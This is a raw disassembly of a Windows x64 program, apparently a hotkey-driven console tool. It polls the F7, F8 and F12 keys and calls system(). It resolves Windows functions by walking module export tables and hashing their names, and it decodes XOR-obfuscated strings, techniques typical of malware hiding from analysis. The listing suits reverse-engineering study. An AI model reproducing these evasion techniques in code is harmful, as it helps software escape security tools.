add r8, rbx
mov edx, 7
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x4c], 0x100fd81
lea rcx, [rbp - 0x4c]
call fcn.7ff77f2e6820
lea rdx, [rbp - 0x4c]
mov rcx, rbx
call fcn.7ff77f2e6c30
nop
lea rcx, [rbp + 0x1d0]
call fcn.7ff77f2e6870
lea rdx, [rbp + 0x48]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e89f9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e89f9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xcb6cbcfb
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e89f4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e89c0
cmp r10d, 0x33a4c0fe
je 0x7ff77f2e8a01
test r11d, r11d
jne 0x7ff77f2e89a0
mov rax, qword [rax]
jmp 0x7ff77f2e8970
mov edx, dword [r14 + 0x1c]
add rdx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov edx, dword [rdx + rax*4]
add rdx, rbx
mov ecx, 0x7d0
call rdx
mov ecx, 0x76
call qword [sym.imp.user32.dll_GetAsyncKeyState]
test al, 1
jne 0x7ff77f2e8a70
mov ecx, 0x77
call qword [sym.imp.user32.dll_GetAsyncKeyState]
test al, 1
jne 0x7ff77f2e90af
mov ecx, 0x7b
call qword [sym.imp.user32.dll_GetAsyncKeyState]
test al, 1
jne 0x7ff77f2e8ce5
mov ecx, 1
call qword [sym.imp.kernel32.dll_Sleep]
mov ecx, 0x76
call qword [sym.imp.user32.dll_GetAsyncKeyState]
test al, 1
je 0x7ff77f2e8a30
lea rax, [rbp + 0x150]
mov qword [rbp + 0xa8], rax
mov eax, dword [0x7ff77f367378]
mov dword [rsp + 0x28], eax
movzx ecx, word [0x7ff77f36737c]
mov word [rsp + 0x2c], cx
movzx eax, byte [0x7ff77f36737e]
mov byte [rsp + 0x28], 0x31
xor byte [rsp + 0x29], 0x36
xor byte [rsp + 0x2a], 0x37
xor byte [rsp + 0x2b], 0x38
xor cl, 0x39
mov byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], 0x3a
xor al, 0x3b
mov byte [rsp + 0x2e], al
movzx edx, byte [rsp + 0x3a]
lea rcx, [rbp + 0x150]
call fcn.7ff77f2e7030
nop
lea rax, [rsp + 0x28]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff77f2e8ae0
lea rdx, [rsp + 0x28]
lea rcx, [rbp + 0x150]
call fcn.7ff77f2e7050
nop
lea rdx, [rbp + 0x150]
mov rcx, qword [0x7ff77f37bf18]
call fcn.7ff77f2e5d10
lea rcx, [0x7ff77f367348]
call qword [sym.imp.ucrtbase.dll_system]
mov r12, qword [0x7ff77f48f400]
mov dword [rbp + 0x20], 0x948892bb
mov dword [rbp + 0x24], 0x8ac59686
mov dword [rbp + 0x28], 0x8f8d8988
mov dword [rbp + 0x2c], 0x100e68f
lea rcx, [rbp + 0x20]
call fcn.7ff77f2e9a90
mov dword [rbp - 0x60], 0xf2f3e1fc
mov dword [rbp - 0x5c], 0x100c1de
lea rcx, [rbp - 0x60]
call fcn.7ff77f2e77f0
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x60]
nop word [rax + rax]
inc r15
cmp byte [rax + r15], 0
jne 0x7ff77f2e8b70
lea r8, [rbp - 0x60]
add r8, r15
lea r9, [rbp + 0x42]
lea rcx, [rbp + 0x230]
call fcn.7ff77f2e77a0
nop
cmp dword [r12 + 0x10], 0
jne 0x7ff77f2e8bdd
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x74], 0xd6
mov byte [rsp + 0x76], 1
lea rcx, [rsp + 0x74]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x74]
mov rcx, rbx
call fcn.7ff77f2e6c30
lea rdx, [0x7ff77f2e75a0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [r12 + 0x10], 1
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 8], 0xfffefdfc
mov word [rbp + 0xc], 0xc0
mov byte [rbp + 0xe], 1
lea rcx, [rbp + 8]
call fcn.7ff77f2e67f0
lea rdx, [rbp + 8]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x78], 0x87
mov byte [rsp + 0x7a], 1
lea rcx, [rsp + 0x78]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x78]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e8cdd
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e8cdd
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xb97fe996
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e8cd8
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e8ca0
cmp r10d, 0xb7a916d0
je 0x7ff77f2e949c
test r11d, r11d
jne 0x7ff77f2e8c80
mov rax, qword [rax]
jmp 0x7ff77f2e8c50
lea rax, [rbp + 0x110]
mov qword [rbp + 0xa8], rax
mov eax, dword [0x7ff77f36734c]
mov dword [rsp + 0x30], eax
movzx ecx, word [0x7ff77f367350]
mov word [rsp + 0x34], cx
movzx eax, byte [0x7ff77f367352]
mov byte [rsp + 0x30], 0x30
xor byte [rsp + 0x31], 0x36
xor byte [rsp + 0x32], 0x37
xor byte [rsp + 0x33], 0x38
xor cl, 0x39
mov byte [rsp + 0x34], cl
xor byte [rsp + 0x35], 0x3a
xor al, 0x3b
mov byte [rsp + 0x36], al
movzx edx, byte [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.7ff77f2e7030
nop
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x7ff77f2e8d50
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x110]
call fcn.7ff77f2e7050
nop
lea rdx, [rbp + 0x110]
mov rcx, qword [0x7ff77f37bf18]
call fcn.7ff77f2e5d10
lea rcx, [0x7ff77f367348]
call qword [sym.imp.ucrtbase.dll_system]
mov r12, qword [0x7ff77f48f400]
movdqa xmm0, xmmword [0x7ff77f36fe20]
movdqu xmmword [rbp + 0xe0], xmm0
mov word [rbp + 0xf0], 0xe5
mov byte [rbp + 0xf2], 1
lea rcx, [rbp + 0xe0]
call fcn.7ff77f2e9af0
mov dword [rbp - 0x70], 0xf2f3e1fc
mov dword [rbp - 0x6c], 0x100c1de
lea rcx, [rbp - 0x70]
call fcn.7ff77f2e77f0
lea rdx, [rbp - 0x70]
lea rax, [rbp - 0x70]
nop
inc r15
cmp byte [rax + r15], 0
jne 0x7ff77f2e8de0
lea r8, [rbp - 0x70]
add r8, r15
lea r9, [rsp + 0x39]
lea rcx, [rbp + 0x1f0]
call fcn.7ff77f2e77a0
nop
cmp dword [r12 + 0x10], 0
jne 0x7ff77f2e8e4e
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x68], 0xd6
mov byte [rsp + 0x6a], 1
lea rcx, [rsp + 0x68]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x68]
mov rcx, rbx
call fcn.7ff77f2e6c30
lea rdx, [0x7ff77f2e75a0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [r12 + 0x10], 1
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 8], 0xfffefdfc
mov word [rbp - 4], 0xc0
mov byte [rbp - 2], 1
lea rcx, [rbp - 8]
call fcn.7ff77f2e67f0
lea rdx, [rbp - 8]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x6c], 0x87
mov byte [rsp + 0x6e], 1
lea rcx, [rsp + 0x6c]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x6c]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e8f49
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e8f49
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0xb97fe996
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e8f44
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e8f10
cmp r10d, 0xb7a916d0
je 0x7ff77f2e8f51
test r11d, r11d
jne 0x7ff77f2e8ef0
mov rax, qword [rax]
jmp 0x7ff77f2e8ec0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 0xe
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rbp + 0x1f0]
call fcn.7ff77f2e6860
mov rdx, rax
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e9039
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e9039
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0x40225b2c
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e9034
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e9000
cmp r10d, 0x3ef15572
je 0x7ff77f2e9041
test r11d, r11d
jne 0x7ff77f2e8fe0
mov rax, qword [rax]
jmp 0x7ff77f2e8fb0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 7
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x48], 0x100fd81
lea rcx, [rbp - 0x48]
call fcn.7ff77f2e6820
lea rdx, [rbp - 0x48]
mov rcx, rbx
call fcn.7ff77f2e6c30
nop
lea rcx, [rbp + 0x1f0]
call fcn.7ff77f2e6870
lea rdx, [rbp + 0xe0]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff77f2e6c30
jmp 0x7ff77f2e99fb
lea rax, [rbp + 0x130]
mov qword [rbp + 0xa8], rax
mov eax, dword [0x7ff77f367354]
mov dword [rsp + 0x20], eax
movzx ecx, word [0x7ff77f367358]
mov word [rsp + 0x24], cx
movzx eax, byte [0x7ff77f36735a]
mov byte [rsp + 0x20], 0x37
xor byte [rsp + 0x21], 0x36
xor byte [rsp + 0x22], 0x37
xor byte [rsp + 0x23], 0x38
xor cl, 0x39
mov byte [rsp + 0x24], cl
xor byte [rsp + 0x25], 0x3a
xor al, 0x3b
mov byte [rsp + 0x26], al
movzx edx, byte [rsp + 0x39]
lea rcx, [rbp + 0x130]
call fcn.7ff77f2e7030
nop
lea rax, [rsp + 0x20]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff77f2e9120
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x130]
call fcn.7ff77f2e7050
nop
lea rdx, [rbp + 0x130]
mov rcx, qword [0x7ff77f37bf18]
call fcn.7ff77f2e5d10
lea rcx, [0x7ff77f367348]
call qword [sym.imp.ucrtbase.dll_system]
mov r12, qword [0x7ff77f48f400]
movdqa xmm0, xmmword [0x7ff77f36fda0]
movdqu xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [0x7ff77f36fd90]
movdqu xmmword [rbp + 0x70], xmm1
mov dword [rbp + 0x80], 0x226f6597
mov dword [rbp + 0x84], 0x6a777060
mov dword [rbp + 0x88], 0x4c292327
mov word [rbp + 0x8c], 1
mov byte [rbp + 0x8e], 1
lea rcx, [rbp + 0x60]
call fcn.7ff77f2e9a60
mov dword [rbp - 0x68], 0xf2f3e1fc
mov dword [rbp - 0x64], 0x100c1de
lea rcx, [rbp - 0x68]
call fcn.7ff77f2e77f0
lea rdx, [rbp - 0x68]
lea rax, [rbp - 0x68]
inc r15
cmp byte [rax + r15], 0
jne 0x7ff77f2e91d3
lea r8, [rbp - 0x68]
add r8, r15
lea r9, [rsp + 0x3a]
lea rcx, [rbp + 0x210]
call fcn.7ff77f2e77a0
nop
cmp dword [r12 + 0x10], 0
jne 0x7ff77f2e9241
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x4c], 0xd6
mov byte [rsp + 0x4e], 1
lea rcx, [rsp + 0x4c]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x4c]
mov rcx, rbx
call fcn.7ff77f2e6c30
lea rdx, [0x7ff77f2e75a0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [r12 + 0x10], 1
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp], 0xfffefdfc
mov word [rbp + 4], 0xc0
mov byte [rbp + 6], 1
lea rcx, [rbp]
call fcn.7ff77f2e67f0
lea rdx, [rbp]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x70], 0x87
mov byte [rsp + 0x72], 1
lea rcx, [rsp + 0x70]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x70]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e9339
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e9339
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xb97fe996
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e9334
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e9300
cmp r10d, 0xb7a916d0
je 0x7ff77f2e9341
test r11d, r11d
jne 0x7ff77f2e92e0
mov rax, qword [rax]
jmp 0x7ff77f2e92b0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 0xe
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rbp + 0x210]
call fcn.7ff77f2e6860
mov rdx, rax
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e9429
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e9429
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x40225b2c
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e9424
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e93f0
cmp r10d, 0x3ef15572
je 0x7ff77f2e9431
test r11d, r11d
jne 0x7ff77f2e93d0
mov rax, qword [rax]
jmp 0x7ff77f2e93a0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 7
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x44], 0x100fd81
lea rcx, [rbp - 0x44]
call fcn.7ff77f2e6820
lea rdx, [rbp - 0x44]
mov rcx, rbx
call fcn.7ff77f2e6c30
nop
lea rcx, [rbp + 0x210]
call fcn.7ff77f2e6870
lea rdx, [rbp + 0x60]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff77f2e6c30
jmp 0x7ff77f2e99fb
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 0xe
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rbp + 0x230]
call fcn.7ff77f2e6860
mov rdx, rax
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e9589
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e9589
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x40225b2c
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e9584
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e9550
cmp r10d, 0x3ef15572
je 0x7ff77f2e9591
test r11d, r11d
jne 0x7ff77f2e9530
mov rax, qword [rax]
jmp 0x7ff77f2e9500
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 7
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x40], 0x100fd81
lea rcx, [rbp - 0x40]
call fcn.7ff77f2e6820
lea rdx, [rbp - 0x40]
mov rcx, rbx
call fcn.7ff77f2e6c30
nop
lea rcx, [rbp + 0x230]
call fcn.7ff77f2e6870
lea rdx, [rbp + 0x20]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff77f2e6c30
jmp 0x7ff77f2e99fb
mov r12, qword [0x7ff77f48f400]
movdqa xmm0, xmmword [0x7ff77f36fdd0]
movdqu xmmword [rbp + 0x90], xmm0
mov dword [rbp + 0xa0], 0xfbde9b
mov byte [rbp + 0xa4], 1
lea rcx, [rbp + 0x90]
call fcn.7ff77f2e9b20
mov dword [rbp - 0x38], 0x969f9bfc
mov dword [rbp - 0x34], 0x100c1ac
lea rcx, [rbp - 0x38]
call fcn.7ff77f2e77f0
lea rdx, [rbp - 0x38]
lea rax, [rbp - 0x38]
mov r15, 0xffffffffffffffff
inc r15
cmp byte [rax + r15], 0
jne 0x7ff77f2e9656
lea r8, [rbp - 0x38]
add r8, r15
lea r9, [rbp + 0x43]
lea rcx, [rbp + 0x250]
call fcn.7ff77f2e77a0
nop
cmp dword [r12 + 0x10], 0
jne 0x7ff77f2e96c3
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x40], 0xd6
mov byte [rsp + 0x42], 1
lea rcx, [rsp + 0x40]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.7ff77f2e6c30
lea rdx, [0x7ff77f2e75a0]
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___class_std::basic_istream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_istream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [r12 + 0x10], 1
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0x10], 0xfffefdfc
mov word [rbp + 0x14], 0xc0
mov byte [rbp + 0x16], 1
lea rcx, [rbp + 0x10]
call fcn.7ff77f2e67f0
lea rdx, [rbp + 0x10]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rsp + 0x44], 0x87
mov byte [rsp + 0x46], 1
lea rcx, [rsp + 0x44]
call fcn.7ff77f2e6850
lea rdx, [rsp + 0x44]
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e97b9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e97b9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0xb97fe996
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e97b4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e9780
cmp r10d, 0xb7a916d0
je 0x7ff77f2e97c1
test r11d, r11d
jne 0x7ff77f2e9760
mov rax, qword [rax]
jmp 0x7ff77f2e9730
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 3
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rbp + 0x250]
call fcn.7ff77f2e6860
mov rdx, rax
mov rcx, rbx
call fcn.7ff77f2e6c30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x7ff77f2e98a9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x7ff77f2e98a9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0x40225b2c
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x7ff77f2e98a4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x7ff77f2e9870
cmp r10d, 0x3ef15572
je 0x7ff77f2e98b1
test r11d, r11d
jne 0x7ff77f2e9850
mov rax, qword [rax]
jmp 0x7ff77f2e9820
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov edx, 7
mov rcx, qword [r12]
call r8
mov rbx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x3c], 0x100fd81
lea rcx, [rbp - 0x3c]
call fcn.7ff77f2e6820
lea rdx, [rbp - 0x3c]
mov rcx, rbx
call fcn.7ff77f2e6c30
nop
lea rcx, [rbp + 0x250]
call fcn.7ff77f2e6870
lea rdx, [rbp + 0x90]
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.7ff77f2e6c30
mov rax, qword [0x7ff77f37bf08]
test rax, rax
jne 0x7ff77f2e99f4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov r14, r15
nop dword [rax]
nop word [rax + rax]
mov r11, qword [r14 + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov esi, dword [rax + r11 + 0x88]
add rsi, r11
cmp rsi, r11
je 0x7ff77f2e99d5
mov r10d, dword [rsi + 0x18]
test r10d, r10d
je 0x7ff77f2e99d5
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rax, [rdi + r10*4]
